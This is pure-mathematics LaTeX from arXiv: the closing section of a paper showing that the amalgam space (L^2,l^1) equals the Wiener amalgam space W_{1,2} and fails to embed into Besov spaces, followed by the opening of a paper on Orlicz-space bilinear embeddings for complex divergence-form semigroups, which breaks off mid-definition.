the last quantity is equivalent to
\begin{align*}
\sum_{\ell \ge k_0}
\left( \int_{[-1, 1]^n}
\Big( \sum_{\nu \in \Lambda_{\ell}}
|d_\nu e^{i\nu \cdot x}|^2 \Big)^{p/2} \,dx \right)^{q/p}
=2^{nq/p}\sum_{\ell \ge k_0} \Big( \sum_{\nu \in \Lambda_\ell} |d_\nu|^2 \Big)^{q/2} .
\end{align*}
Since $|\nu-\mu| \approx |\nu|$
for $|\mu| \le |\nu|/2$, we have
\begin{align*}
|d_\nu|
&\gtrsim \sum_{ |\mu| \le |\nu|/2 } \la \nu \ra^{-3n/2}
(\log\la \nu \ra)^{-(1+\epsilon)}
\approx \la \nu \ra^{-n/2} (\log\la \nu \ra)^{-(1+\epsilon)}
\approx 2^{-\ell n/2}\ell^{-(1+\epsilon)}
\end{align*}
for $\nu \in \Lambda_\ell$,
and consequently
\begin{align*}
\Big( \sum_{\nu \in \Lambda_{\ell}} |d_\nu |^2 \Big)^{q/2}
\gtrsim \Big( \sum_{\nu \in \Lambda_{\ell}} 2^{-\ell n} \ell^{-2(1+\epsilon)} \Big)^{q/2}
\approx \ell^{-q(1+\epsilon)}.
\end{align*}
Combining the above estimates, we obtain
\[
\sum_{\ell \ge k_0} \ell^{-q(1+\epsilon)} \lesssim 1,
\]
which is possible only when $q(1+ \epsilon) > 1$.
Therefore, the arbitrariness of $\epsilon > 0$ implies that $q \ge 1$.
The proof of the ``only if'' part of Theorem \ref{main2} is complete.
\section{The amalgam space $(L^2,\ell^1)$ and Wiener amalgam space $W_{1,2}$}
\label{section6}
In this section,
we shall prove Proposition \ref{main3}.
Let $1 \le p \le 2$.
It is easy to see that the embedding $B_{p,1}^0 \hookrightarrow (L^2,\ell^1)$
does not hold.
In fact, it follows from the embedding
$(L^2,\ell^1) \hookrightarrow L^q$, $1 \le q \le 2$,
(see Section \ref{section2}) that
if $B_{p,1}^0 \hookrightarrow (L^2,\ell^1)$,
then $B_{p,1}^0 \hookrightarrow L^q$ for all $1 \le q \le 2$.
However, since $B_{p,1}^0 \hookrightarrow L^q$
if and only if $p=q$ (see, e.g., \cite[Corollary 2.2.4/2]{RS}),
this is a contradiction.
Though we can directly prove that
the embedding $(L^2,\ell^1) \hookrightarrow B_{p,1}^0$
does not hold,
we shall show it by using the characterization of $(L^2,\ell^1)$,
Proposition \ref{amalgam-Wiener} below.
To do this, we recall the definitions
of modulation spaces and Wiener amalgam spaces
based on Feichtinger \cite{Feichtinger} and Gr\"ochenig \cite{Grochenig}.
Fix a function $\phi \in \Sh(\R^n)\setminus \{ 0 \}$
(called the window function).
Then the short-time Fourier transform $V_{\phi}f$ of
$f \in \Sh'(\R^n)$ with respect to $\phi$
is defined by
\[
V_{\phi}f(x,\xi)
=\int_{\R^n}f(t) \overline{\phi(t-x)} e^{-it\cdot \xi}\, dt ,
\quad x, \xi \in \R^n,
\]
where the integral is understood in the distributional sense.
For $1\le p,q \le \infty$,
the modulation space $M_{p,q}(\R^n)$
consists of all $f \in \Sh'(\R^n)$
such that
\[
\|f\|_{M_{p,q}}
=\left\{ \int_{\R^n} \left(
\int_{\R^n} |V_{\phi}f(x,\xi)|^{p}\, dx
\right)^{q/p} d\xi \right\}^{1/q}
< \infty
\]
with usual modification when $p=\infty$ or $q=\infty$.
On the other hand,
the Wiener amalgam space $W_{p,q}(\R^n)$ consists of
all $f \in \Sh'(\R^n)$ such that
\[
\|f\|_{W_{p,q}}
=\left\{ \int_{\R^n} \left(
\int_{\R^n} |V_{\phi}f(x,\xi)|^{q}\, d\xi
\right)^{p/q} dx \right\}^{1/p}
<\infty .
\]
These definitions are independent
of the choice of the window function
$\phi \in \Sh(\R^n)\setminus \{ 0 \}$, that is, different window functions yield equivalent norms.
Since $|V_{\phi}f(x,\xi)|=(2\pi)^{n}|V_{\F^{-1}\phi}[\F^{-1}f](-\xi,x)|$,
we see that
\begin{equation}\label{MW-Fourier}
\|f\|_{W_{p,q}} \approx \|\F^{-1}f\|_{M_{q,p}}.
\end{equation}
It is also known that
if $\varphi \in \Sh(\R^n)$
has a compact support and
if there exists a constant $C>0$ such that
$\left|\sum_{\nu \in \Z^n}\varphi(\xi-\nu)\right| \ge C$
for all $\xi \in \R^n$,
then
\begin{equation}\label{MW-equi}
\begin{split}
&\|f\|_{M_{p,q}} \approx
\bigg( \sum_{\nu \in \Z^n}\|\varphi(D-\nu)f\|_{L^p}^q\bigg)^{1/q},
\\
&\|f\|_{W_{p,q}} \approx
\bigg\|\bigg(\sum_{\nu \in \Z^n}|\varphi(D-\nu)f|^q\bigg)^{1/q}\bigg\|_{L^p}
\end{split}
\end{equation}
(see, e.g., \cite[Theorem 3]{Triebel_paper}).
Although the following may be well known to many people,
we shall give a proof for the reader's convenience.
\begin{prop}\label{amalgam-Wiener}
The amalgam space $(L^2,\ell^1)(\R^n)$
coincides with the Wiener amalgam space $W_{1,2}(\R^n)$.
\end{prop}
\begin{proof}
Let $\varphi$ be a nonnegative function in $\Sh(\R^n)$
such that $\mathrm{supp}\, \varphi$ is compact and
$\varphi \ge 1$ on $[-1/2,1/2]^n$.
Then, we have the norm equivalence
\[
\|f\|_{(L^2,\ell^1)}
\approx
\sum_{\nu \in \Z^n}
\|\varphi(\cdot-\nu)f \|_{L^2}
\]
(see, e.g., \cite[Lemma 2.1]{KMT-2}).
Since $\sum_{\nu \in \Z^n}\varphi(\xi-\nu) \ge 1$
for all $\xi \in \R^n$,
by Plancherel's theorem,
\eqref{MW-equi} and \eqref{MW-Fourier},
\begin{align*}
\sum_{\nu \in \Z^n}
\|\varphi(\cdot-\nu)f \|_{L^2}
&\approx \sum_{\nu \in \Z^n}
\|\F^{-1}[\varphi(\cdot-\nu)f ]\|_{L^2}
\\
&= \sum_{\nu \in \Z^n}
\|\varphi(D-\nu)[\F^{-1}f]\|_{L^2}
\approx \|\F^{-1}f\|_{M_{2,1}}
\approx \|f\|_{W_{1,2}}.
\end{align*}
The proof is complete.
\end{proof}
In the rest of this section,
we shall prove that
the embedding $(L^2,\ell^1) \hookrightarrow B_{p,1}^0$
does not hold, where $1 \le p \le 2$.
Let $\phi, \varphi$ be nonnegative functions in $\Sh(\R^n)$ such that
$\mathrm{supp}\, \phi \subset [-1/4,1/4]^n$,
$\mathrm{supp}\, \varphi \subset [-3/4,3/4]^n$
and $\varphi=1$ on $[-1/2,1/2]^n$.
We take a positive integer $N_0$ satisfying
\begin{equation}\label{prop1.3-A}
2^{k-1/4} \le 2^{k}-\sqrt{n}/4,\quad 2^{k}+\sqrt{n}/4 \le 2^{k+1/4},
\quad k \ge N_0,
\end{equation}
and set
\[
f_N(x)=\sum_{k=N_0}^{N}e^{i2^k e_1\cdot x}\F^{-1}\phi(x),
\quad N \ge N_0,
\]
where $e_1=(1,0,\dots,0) \in \R^n$.
We first consider the Besov space norm of $f_N$.
The support condition of $\phi$ and \eqref{prop1.3-A} give
\[
\mathrm{supp}\, \phi(\cdot-2^k e_1)
\subset \{|\xi-2^{k}e_1| \le \sqrt{n}/4\}
\subset \{2^{k-1/4} \le |\xi| \le 2^{k+1/4}\},
\quad k \ge N_0.
\]
Then,
since $\widehat{f_N}(\xi)=\sum_{k=N_0}^{N}\phi(\xi-2^{k}e_1)$,
we see that
$\psi_{\ell}(D)f_N(x)$ is equal to
$e^{i2^\ell e_1\cdot x}\F^{-1}\phi(x)$ if $N_0 \le \ell \le N$,
and $0$ otherwise,
where $\{\psi_{\ell}\}$ is the same as in the beginning of Section \ref{section5},
and we used (\ref{Besov-parti-2-1}) and (\ref{Besov-parti-2-2}).
Hence,
\begin{equation}\label{estimate-Besov}
\|f_N\|_{B_{p,1}^0}
=\sum_{\ell=N_0}^{N}
\|e^{i2^\ell e_1\cdot x}\F^{-1}\phi\|_{L^p}
\approx N
\end{equation}
for sufficiently large $N$.
We next consider the amalgam space norm of $f_N$.
By Proposition \ref{amalgam-Wiener},
it is sufficient to estimate $\|f_N\|_{W_{1,2}}$.
Moreover, since $\mathrm{supp}\, \varphi$ is compact
and $\sum_{\nu \in \Z^n}\varphi(\xi-\nu) \ge 1$,
we have by \eqref{MW-equi}
\[
\|f_N\|_{(L^2,\ell^1)}
\approx \bigg\|\bigg(\sum_{\nu \in \Z^n}
|\varphi(D-\nu)f_N|^2\bigg)^{1/2}\bigg\|_{L^1}.
\]
Noting that
$\mathrm{supp}\, \phi(\cdot-2^k e_1) \subset 2^k e_1+[-1/4,1/4]^n$,
$\mathrm{supp}\, \varphi(\cdot-\nu) \subset \nu+[-3/4,3/4]^n$
and $\varphi(\cdot-\nu)=1$ on $\nu+[-1/4,1/4]^n$,
we see that $\varphi(D-\nu)f_N(x)$ is equal to
$e^{i2^k e_1\cdot x}\F^{-1}\phi(x)$ if $\nu=2^{k}e_1$ and $N_0 \le k \le N$,
and $0$ otherwise.
Therefore,
\begin{equation}\label{estimate-amalgam}
\|f_N\|_{(L^2,\ell^1)}
\approx \bigg\|\bigg(\sum_{k=N_0}^{N}
|e^{i2^k e_1\cdot x}\F^{-1}\phi|^2\bigg)^{1/2}\bigg\|_{L^1}
\approx N^{1/2}
\end{equation}
for sufficiently large $N$.
It follows from \eqref{estimate-Besov} and \eqref{estimate-amalgam} that
if $(L^2,\ell^1) \hookrightarrow B_{p,1}^0$,
then
\[
N \approx \|f_N\|_{B_{p,1}^0} \lesssim \|f_N\|_{(L^2,\ell^1)} \approx N^{1/2}
\]
for all sufficiently large $N$. However, this is a contradiction.
The proof of Proposition \ref{main3} is complete.
\section*{Acknowledgement}
The authors thank the referee for his/her careful reading of the manuscript.
The research of the third author was partially supported
by JSPS KAKENHI Grant Number JP20K03700.
|
1,477,468,749,982 | arxiv | \section{Introduction}
One is often lead to study bi-sublinear estimates of the form
\begin{equation}\label{eq:oldbilinearemb}
\int_{0}^{\infty} \int_{\mathbb{R}^d} \big|\nabla T_t f(x)\big| \,\big|\nabla \widetilde{T}_t g(x)\big| \,\textup{d}x \,\textup{d}t \leqslant C \|f\| \|g\|^{\ast},
\end{equation}
where $f,g$ are complex functions, $\|\cdot\|, \|\cdot\|^{\ast}$ are mutually dual Banach space norms, and $(T_t)_{t>0},(\widetilde{T}_t)_{t>0}$ are operator semigroups. Here, $|\cdot|$ simply denotes the standard (i.e., Euclidean) norm on $\mathbb{C}^d$ and we emphasize that the constant $C$ depends on the norms and the semigroups, but not on the functions. Inequalities \eqref{eq:oldbilinearemb} are often called \emph{bilinear embeddings} (even though they are only bi-sublinear) and they are highly prized in the literature.
As early examples, Petermichl and Volberg \cite{PetermichlVolberg02} and Nazarov and Volberg \cite{NazarovVolberg03} studied such embeddings in the context of bounds for the Ahlfors--Beurling operator. Dragi{\v{c}}evi\'{c} and Volberg \cite{DragicevicVolberg05,DragicevicVolberg06,DragicevicVolberg11,DragicevicVolberg12} established a series of dimension-free estimates of type \eqref{eq:oldbilinearemb} in versatile analytical contexts, for both classical and fairly general semigroups. More recently, Carbonaro and Dragi\v{c}evi\'{c} proved several bilinear embeddings of type \eqref{eq:oldbilinearemb} and used them to study bounds for the Riesz transforms associated with Riemannian manifolds \cite{CarbonaroDragicevic13}, extend the functional calculus for generators of symmetric contraction semigroups \cite{CarbonaroDragicevic17}, and shed a new light on properties of semigroups associated with divergence-form operators with complex coefficients \cite{CarbonaroDragicevic20}.
We have not attempted to list all existing literature as bilinear embeddings are the topic of much recent and ongoing research.
In this paper we study bilinear embeddings \eqref{eq:oldbilinearemb} on the Orlicz function spaces for semigroups generated by elliptic operators with bounded measurable complex coefficients; see Subsection~\ref{subsec:formulationresults} for precise formulation of the result. In particular, we reprove and generalize the main result from \cite{CarbonaroDragicevic20}, which was concerned with $\textup{L}^p$ norms only.
In more detail, but still briefly, the following notions characterize our setting and approach.
\begin{enumerate}[(i)]
\item\label{item:setting1}
\emph{Non-smooth complex divergence-form operators} will be discussed in Subsection~\ref{subsec:divform}. Numerous results that hold for real divergence-form operators generally fail for their complex counterparts. Thus, it is an active line of research to give sufficient conditions for the corresponding estimates in the complex case; see \cite{CialdeaMazya05,CarbonaroDragicevic13, CarbonaroDragicevic17,CarbonaroDragicevic19,CarbonaroDragicevic20,CarbonaroDragicevic20b,CialdeaMazya21,CarbonaroDragicevic19b,CarbonaroDragicevicKovacSkreb21,CialdeaMazya21b}.
The notion of $p$-ellipticity, introduced by Carbonaro and Dragi\v{c}evi\'{c} in \cite{CarbonaroDragicevic20} and reviewed in our Subsection~\ref{subsec:divform}, proved to be useful in relation with $\textup{L}^p$ estimates, as it provides a gradation of assumptions stretched between real ellipticity and (complex) ellipticity.
Interesting aspects of the theory also happen on domains $\Omega\subseteq\mathbb{R}^d$ (see \cite{CarbonaroDragicevic20b,CarbonaroDragicevic19b,CarbonaroDragicevicKovacSkreb21}), but here we choose to work exclusively on $\mathbb{R}^d$, which avoids numerous technical complications.
\item
In all of the aforementioned papers, the norms $\|\cdot\|$ and $\|\cdot\|^{\ast}$ are just the (unweighted or weighted) $\textup{L}^p$ norms.
\emph{Young functions} and \emph{Orlicz spaces} will be reviewed in Subsection~\ref{subsec:Orlicz}. One way of thinking about those spaces is as both providing a refinement of the scale of $\textup{L}^p$ spaces and offering substitutes for the missing endpoint estimates.
For these reasons, the Orlicz norms frequently appear in harmonic analysis, but it seems that, so far, no Orlicz-space estimates have been studied in the context of \eqref{eq:oldbilinearemb} and semigroups generated by operators from \eqref{item:setting1}.
Related ``functional'' estimates for complex divergence-form operators have recently been discussed by Cialdea and Maz'ya \cite{CialdeaMazya21,CialdeaMazya21b}, in the context of certain generalized dissipativity of operators from \eqref{item:setting1}, and we also find \cite{CialdeaMazya21} motivating for the setting of the present paper.
\item
Our results will be established via the \emph{heat flow method}, a particular case of the \emph{Bellman function technique}. This is certainly not surprising, as the proofs of all aforementioned $\textup{L}^p$ bilinear embeddings proceeded precisely this way. In fact, we will closely follow the basic outline from \cite{CarbonaroDragicevic20}. However, each of the papers by Carbonaro and Dragi\v{c}evi\'{c} \cite{CarbonaroDragicevic13, CarbonaroDragicevic17,CarbonaroDragicevic19,CarbonaroDragicevic20,CarbonaroDragicevic20b,CarbonaroDragicevic19b} used (slight variants of) the Bellman function constructed by Nazarov and Treil \cite{NazarovTreil96}, while here we need to construct a Bellman function tailored to a pair of complementary Young functions (see the definition in Subsection~\ref{subsec:Orlicz}), which generalizes the Nazarov--Treil Bellman function. We provide one such function in Section~\ref{sec:Bellmanfn}. This might be an interesting result on its own, as most of this paper is dedicated to verification of the numerous required properties of the constructed function, such as the \emph{generalized convexity} introduced in \cite{CarbonaroDragicevic20} and discussed in our Lemma~\ref{lm:Xlower} below. We also believe that this construction could find further applications in loosely related contexts.
Very few papers construct Bellman functions to prove Orlicz-space estimates on $\mathbb{R}^d$; see \cite{TreilVolberg16} for an example.
\end{enumerate}
The study of generalized convexity for more general Young functions, in connection with Bellman functions and Orlicz-space estimates, was suggested by Alexander Volberg in the summer of 2016; this has been communicated to us by Oliver Dragi\v{c}evi\'{c}.
Structure of the present paper is as follows.
Section~\ref{sec:formulation} recalls the basic definitions and clarifies the lengthy assumptions needed later, regarding both the Young functions (Subsection~\ref{subsec:Orlicz}) and divergence-form operators (Subsection~\ref{subsec:divform}). Then it proceeds with formulation of the main result, namely Theorem~\ref{thm:mainthm}, and gives numerous remarks on its applicability (Subsection~\ref{subsec:formulationresults}).
Section~\ref{sec:Hessians} recalls the concept of a generalized Hessian from \cite{CarbonaroDragicevic20} and computes two expressions associated with rather general nonlinear functions.
Section~\ref{sec:Bellmanfn} is the heart of the paper. It constructs the Bellman function \eqref{eq:mainBellman} corresponding to the studied problem and proves a series of its delicate properties needed in the proof of the main theorem.
Section~\ref{sec:proofofthm} completes the proof of Theorem~\ref{thm:mainthm} by closely following the scheme from \cite{CarbonaroDragicevic20}.
\section{Formulation of the main result}
\label{sec:formulation}
\subsection{Young functions and Orlicz spaces}
\label{subsec:Orlicz}
We only review the basic definitions; more details can be found in the books \cite{RaoRen91,HarjulehtoHasto19}.
Let $\Phi\colon[0,\infty)\to[0,\infty)$ be a \emph{Young function}, i.e.,
\begin{equation}\label{eq:defYoung}
\Phi\text{ is convex},\quad \Phi(0)=0,\quad \lim_{s\to0+}\frac{\Phi(s)}{s}=0,\quad\text{and } \lim_{s\to\infty}\frac{\Phi(s)}{s}=\infty.
\end{equation}
Let $\Psi\colon[0,\infty)\to[0,\infty)$ be the \emph{complementary (or conjugate) Young function} to $\Phi$, defined as
\[ \Psi(t) := \sup_{s\in(0,\infty)} \big(st - \Phi(s)\big) = \int_{0}^{t} (\Phi')^{-1}(r) \,\textup{d}r, \]
where the integral expression for $\Psi$ can be used in special cases when $(\Phi')^{-1}$ is well-defined on $(0,\infty)$.
This definition ensures that \emph{Young's inequality} holds:
\begin{equation}\label{eq:Youngsineq}
s t \leqslant \Phi(s) + \Psi(t) \quad\text{for } s,t\in[0,\infty).
\end{equation}
The Orlicz-space \emph{Luxemburg norm} $\|\cdot\|_\Phi$ is defined for (classes of a.e.\@ equal) measurable complex functions $f$ on $\mathbb{R}^d$ as
\[ \|f\|_\Phi := \inf\Big\{ \alpha\in(0,\infty) : \int_{\mathbb{R}^d} \Phi\Big(\frac{|f(x)|}{\alpha}\Big) \,\textup{d}x \leqslant 1 \Big\}. \]
Note that we will be working simultaneously with two norms, $\|\cdot\|_\Phi$ and $\|\cdot\|_\Psi$. These are said to be \emph{complementary} or \emph{mutually associate}, but they do not need to be mutually dual. In order for $\|\cdot\|_\Psi$ to be equivalent to the dual of $\|\cdot\|_\Phi$ it is sufficient that $\Phi$ is \emph{doubling}, i.e., there exists a constant $K$ such that
\[ \Phi(2s) \leqslant K \Phi(s) \quad\text{for } s\in[0,\infty). \]
We will need to narrow down the above setting in order to obtain meaningful results. Throughout the paper we assume the following:
{\allowdisplaybreaks
\begin{subequations}
\begin{align}
& \text{$\Phi$ and $\Psi$ are mutually complementary Young functions}, \label{eq:PhiPsicond1} \\
& \Phi \text{ and } \Psi \text{ are } \textup{C}^1 \text{ on } [0,\infty) \text{ and } \textup{C}^2 \text{ on } (0,\infty), \label{eq:PhiPsicond2} \\
& \Phi''(s),\Psi''(s)>0 \text{ for } s\in(0,\infty), \label{eq:PhiPsicond3} \\
& \Phi' \text{ is strictly convex on } (0,\infty) \text{ and } \lim_{s\to0^+}\frac{\Phi'(s)}{s}=0, \label{eq:Phicond1} \\
& \sup_{s\in(0,\infty)}\frac{s\Phi'(s)}{\Phi(s)} < \infty, \label{eq:Phicond2} \\
& 1 < \inf_{s\in(0,\infty)}\frac{s\Phi''(s)}{\Phi'(s)} \leqslant \sup_{s\in(0,\infty)}\frac{s\Phi''(s)}{\Phi'(s)} < \infty. \label{eq:Phicond3}
\end{align}
\end{subequations}
}
Note that defining properties \eqref{eq:defYoung} and assumptions \eqref{eq:PhiPsicond1}--\eqref{eq:PhiPsicond3} imply that
\begin{equation}\label{eq:bijections}
\text{$\Phi'$ and $\Psi'$ are mutually inverse increasing bijections of $[0,\infty)$}.
\end{equation}
Because of that, assuming \eqref{eq:PhiPsicond1}--\eqref{eq:PhiPsicond3}, conditions \eqref{eq:Phicond1}--\eqref{eq:Phicond3} are respectively equivalent to conditions:
{\allowdisplaybreaks
\begin{subequations}
\begin{align}
& \Psi' \text{ is strictly concave on } (0,\infty) \text{ and } \lim_{s\to0^+}\frac{\Psi'(s)}{s}=\infty, \label{eq:Psicond1} \\
& \inf_{s\in(0,\infty)}\frac{s\Psi'(s)}{\Psi(s)} > 1, \label{eq:Psicond2} \\
& 0 < \inf_{s\in(0,\infty)}\frac{s\Psi''(s)}{\Psi'(s)} \leqslant \sup_{s\in(0,\infty)}\frac{s\Psi''(s)}{\Psi'(s)} < 1. \label{eq:Psicond3}
\end{align}
\end{subequations}
}
Indeed, equivalence \eqref{eq:Phicond1}$\Longleftrightarrow$\eqref{eq:Psicond1} is an immediate consequence of \eqref{eq:bijections} and
\[ \lim_{t\to0^+} \frac{t}{\Psi'(t)}
= \big[\text{substitute }\ t=\Phi'(s) \,\Longleftrightarrow\, s=\Psi'(t)\big]
= \lim_{s\to0^+}\frac{\Phi'(s)}{s}. \]
Moreover, equivalence \eqref{eq:Phicond3}$\Longleftrightarrow$\eqref{eq:Psicond3} clearly follows from
\begin{align*}
\Big\{\frac{\Psi'(t)}{t\Psi''(t)} : t\in(0,\infty)\Big\}
& = \Big\{\frac{\Psi'(t)\Phi''(\Psi'(t))}{t} : t\in(0,\infty)\Big\} \\
& \quad \big[\text{substitute }\ t=\Phi'(s) \,\Longleftrightarrow\, s=\Psi'(t)\big] \\
& = \Big\{\frac{s\Phi''(s)}{\Phi'(s)} : s\in(0,\infty)\Big\}.
\end{align*}
Finally, computation
{\allowdisplaybreaks
\begin{align*}
\Big\{ \frac{\Phi(s)}{s\Phi'(s)} : s\in(0,\infty)\Big\}
& = \Big\{ \frac{1}{s\Phi'(s)} \int_{0}^{s} \Phi'(u) \,\textup{d}u : s\in(0,\infty)\Big\} \\
& \quad \big[\text{substitute }\ s=\Psi'(t) \,\Longleftrightarrow\, t=\Phi'(s)\big] \\
& = \Big\{ \frac{1}{\Psi'(t)t} \int_{0}^{\Psi'(t)} \Phi'(u) \,\textup{d}u : t\in(0,\infty)\Big\} \\
& \quad \Big[\begin{array}{c}u=\Psi'(v)\\ \textup{d}u=\Psi''(v)\,\textup{d}v\end{array}\Big] \\
& = \Big\{ \frac{1}{t\Psi'(t)} \int_{0}^{t} v \Psi''(v) \,\textup{d}v : t\in(0,\infty)\Big\} \\
& \quad \big[ \text{integration by parts} \big] \\
& = \Big\{ 1 - \frac{\Psi(t)}{t\Psi'(t)} : t\in(0,\infty)\Big\}
\end{align*}
}
shows \eqref{eq:Phicond2}$\Longleftrightarrow$\eqref{eq:Psicond2}.
It has already been implied in \eqref{eq:Phicond2} and \eqref{eq:Phicond3} that the following four quantities will be relevant later. They can be defined in terms of $\Phi$ as
\begin{align}
m := \inf_{s\in(0,\infty)}\frac{s\Phi'(s)}{\Phi(s)}, & \quad
M := \sup_{s\in(0,\infty)}\frac{s\Phi'(s)}{\Phi(s)}, \label{eq:quantities1} \\
\tilde{m} := \inf_{s\in(0,\infty)}\frac{s\Phi''(s)}{\Phi'(s)}, & \quad
\tilde{M} := \sup_{s\in(0,\infty)}\frac{s\Phi''(s)}{\Phi'(s)}, \label{eq:quantities2}
\end{align}
or, equivalently, thanks to the previous computations, in terms of $\Psi$ via
\begin{align}
\frac{M}{M-1} = \inf_{s\in(0,\infty)}\frac{s\Psi'(s)}{\Psi(s)}, & \quad
\frac{m}{m-1} = \sup_{s\in(0,\infty)}\frac{s\Psi'(s)}{\Psi(s)}, \label{eq:quantities3} \\
\frac{1}{\tilde{M}} = \inf_{s\in(0,\infty)}\frac{s\Psi''(s)}{\Psi'(s)}, & \quad
\frac{1}{\tilde{m}} = \sup_{s\in(0,\infty)}\frac{s\Psi''(s)}{\Psi'(s)}. \label{eq:quantities4}
\end{align}
Conditions \eqref{eq:PhiPsicond2}--\eqref{eq:Phicond1} imply that $\Phi''$ is continuous and increasing, so for any $s\in(0,\infty)$ Chebyshev's rearrangement inequality (see \cite[Section~2.17, Theorem~43]{HardyLittlewoodPolya52} and \cite[Chapter~6, Theorem~236]{HardyLittlewoodPolya52}) gives
\[ \frac{\Phi(s)}{s} = \frac{1}{s} \int_0^s (s-u) \Phi''(u) \,\textup{d}u
\leqslant \Big( \frac{1}{s} \int_0^s (s-u) \,\textup{d}u \Big) \Big( \frac{1}{s} \int_0^s \Phi''(u) \,\textup{d}u \Big) = \frac{1}{2}\Phi'(s). \]
Thus, our assumptions \eqref{eq:PhiPsicond1}--\eqref{eq:Phicond3} guarantee
\begin{equation}\label{eq:onmMs}
2\leqslant m\leqslant M<\infty,\quad 1<\tilde{m}\leqslant \tilde{M}<\infty.
\end{equation}
Consequences of \eqref{eq:Phicond1}, \eqref{eq:Phicond3}, \eqref{eq:Psicond1}, \eqref{eq:Psicond3}, \eqref{eq:quantities2}, and \eqref{eq:quantities4} are
\begin{align*}
(\tilde{m}-1)\frac{\Phi'(s)}{s^2} \leqslant & \frac{\textup{d}}{\textup{d}s}\frac{\Phi'(s)}{s} \leqslant (\tilde{M}-1)\frac{\Phi'(s)}{s^2}, \\
\frac{1-1/\tilde{m}}{\Psi'(s)} \leqslant & \frac{\textup{d}}{\textup{d}s}\frac{s}{\Psi'(s)} \leqslant \frac{1-1/\tilde{M}}{\Psi'(s)},
\end{align*}
and thus, by integrating in $s$, also
\begin{align}
\frac{1}{\tilde{M}-1} \frac{\Phi'(t)}{t} \leqslant & \int_{0}^{t}\frac{\Phi'(s)\,\textup{d}s}{s^2} \leqslant \frac{1}{\tilde{m}-1} \frac{\Phi'(t)}{t}, \label{eq:intPhiupper} \\
\frac{\tilde{M}}{\tilde{M}-1} \frac{t}{\Psi'(t)} \leqslant & \int_{0}^{t}\frac{\textup{d}s}{\Psi'(s)} \leqslant \frac{\tilde{m}}{\tilde{m}-1} \frac{t}{\Psi'(t)} \label{eq:intPsiupper}
\end{align}
for every $t\in(0,\infty)$.
Let us also remark that $\Phi$ and $\Psi$ satisfying \eqref{eq:PhiPsicond1}--\eqref{eq:Phicond3}, and thus also \eqref{eq:Psicond1}--\eqref{eq:Psicond3}, will automatically be doubling. This is easily seen as
\begin{align*}
\frac{\Phi(2s)}{\Phi(s)} & = \exp\Big(\int_{1}^{2}\frac{st\Phi'(st)}{\Phi(st)}\frac{\textup{dt}}{t}\Big) \leqslant 2^M, \\
\frac{\Psi(2s)}{\Psi(s)} & = \exp\Big(\int_{1}^{2}\frac{st\Psi'(st)}{\Psi(st)}\frac{\textup{dt}}{t}\Big) \leqslant 2^{m/(m-1)} \leqslant 4
\end{align*}
for $s\in(0,\infty)$.
Consequently, $\|\cdot\|_\Psi\sim\|\cdot\|_\Phi^\ast$ and $\|\cdot\|_\Phi\sim\|\cdot\|_\Psi^\ast$, where $\|\cdot\|^\ast$ denotes the dual norm of $\|\cdot\|$ and $\sim$ denotes the equivalence of norms.
\begin{example}[Lebesgue spaces $\textup{L}^p$]
\label{ex:Lpnorms}
A typical example of a pair of functions $\Phi,\Psi$ for which the above conditions \eqref{eq:PhiPsicond1}--\eqref{eq:Phicond3} hold is
\begin{equation}\label{eq:LpLq}
\Phi(s)=\frac{s^p}{p},\quad \Psi(s)=\frac{s^q}{q}\quad \text{for } p\in(2,\infty),\ q\in(1,2),\ \frac{1}{p}+\frac{1}{q}=1.
\end{equation}
In this case $\|\cdot\|_\Phi\sim\|\cdot\|_{\textup{L}^p}$ and $\|\cdot\|_\Psi\sim\|\cdot\|_{\textup{L}^q}$.
Also note that
\[ m=M=p,\quad \tilde{m}=\tilde{M}=p-1. \]
\end{example}
\begin{example}[Zygmund spaces $\textup{L}^r\log\textup{L}$]
\label{ex:LrlogL}
Conditions \eqref{eq:PhiPsicond1}--\eqref{eq:Phicond3} are also satisfied for functions that ``behave like powers.''
We can take
\[ \Phi(s) = s^r \log(s+e) \quad \text{for } r\in(2,\infty), \]
while we cannot, and do not need to, evaluate its conjugate function $\Psi$ explicitly.
Exact expressions for $M$ and $\tilde{M}$ involve a bit complicated numerical constants, but we always have
\[ r=m\leqslant M< r+1,\quad r-1=\tilde{m}\leqslant \tilde{M}< r. \]
\end{example}
\begin{example}[Superpositions of powers I]
\label{ex:powers1}
Yet another useful example satisfying \eqref{eq:PhiPsicond1}--\eqref{eq:Phicond3} is
\begin{equation}\label{eq:spsr}
\Phi(s) = s^p + \varepsilon s^r \quad \text{for } 2<r<p<\infty,\ \varepsilon\in(0,1].
\end{equation}
This Young function exhibits the features of $s^r$ for small positive $s$ and those of $s^p$ for large $s$.
We have
\[ m=r,\quad M=p,\quad \tilde{m}=r-1,\quad \tilde{M}=p-1 \]
and note that these quantities are independent of $\varepsilon$.
A straightforward generalization of this example is
\[ \Phi(s) = \int s^t \,\textup{d}\mu(t) \]
for a finite positive Borel measure $\mu$ supported on a compact subinterval of $(2,\infty)$.
\end{example}
\begin{example}[Superpositions of powers II]
\label{ex:powers2}
Take
\[ \Psi(s) = s^q + s^r \quad \text{for } 1<q<r<2, \]
while this time $\Phi$ is the conjugate function that cannot, and does not have to, be evaluated explicitly.
It is now more convenient to verify conditions \eqref{eq:bijections}, \eqref{eq:PhiPsicond2}--\eqref{eq:PhiPsicond3}, and \eqref{eq:Psicond1}--\eqref{eq:Psicond3}, which are sufficient by the previous discussion. Moreover, the four characteristic quantities can be computed from \eqref{eq:quantities3} and \eqref{eq:quantities4}, and they equal
\[ m=\frac{r}{r-1},\quad M=\frac{q}{q-1},\quad \tilde{m}=\frac{r}{r-1}-1,\quad \tilde{M}=\frac{q}{q-1}-1. \]
A generalization of this example is
\[ \Psi(s) = \int s^t \,\textup{d}\mu(t), \]
where $\mu$ is a finite positive Borel measure supported on a compact subinterval of $(1,2)$.
\end{example}
\subsection{Divergence-form operators with non-smooth complex coefficients}
\label{subsec:divform}
Once again, we only give the basic definitions; more details can be found in the book by Ouhabaz \cite{Ouhabaz05}.
Let $A\colon\mathbb{R}^d\to\mathbb{C}^{d\times d}$ be a matrix function with coefficients in $\textup{L}^\infty(\mathbb{R}^d)$.
It is said to be \emph{(uniformly) elliptic} if
\begin{align}
\Lambda(A) & := \mathop{\textup{ess\,sup}}_{x\in\mathbb{R}^d} \max_{\substack{\zeta,\eta\in\mathbb{C}^d\\ |\zeta|=|\eta|=1}} \big|\langle A(x)\zeta,\eta\rangle_{\mathbb{C}^d}\big| < \infty, \label{eq:condbigl} \\
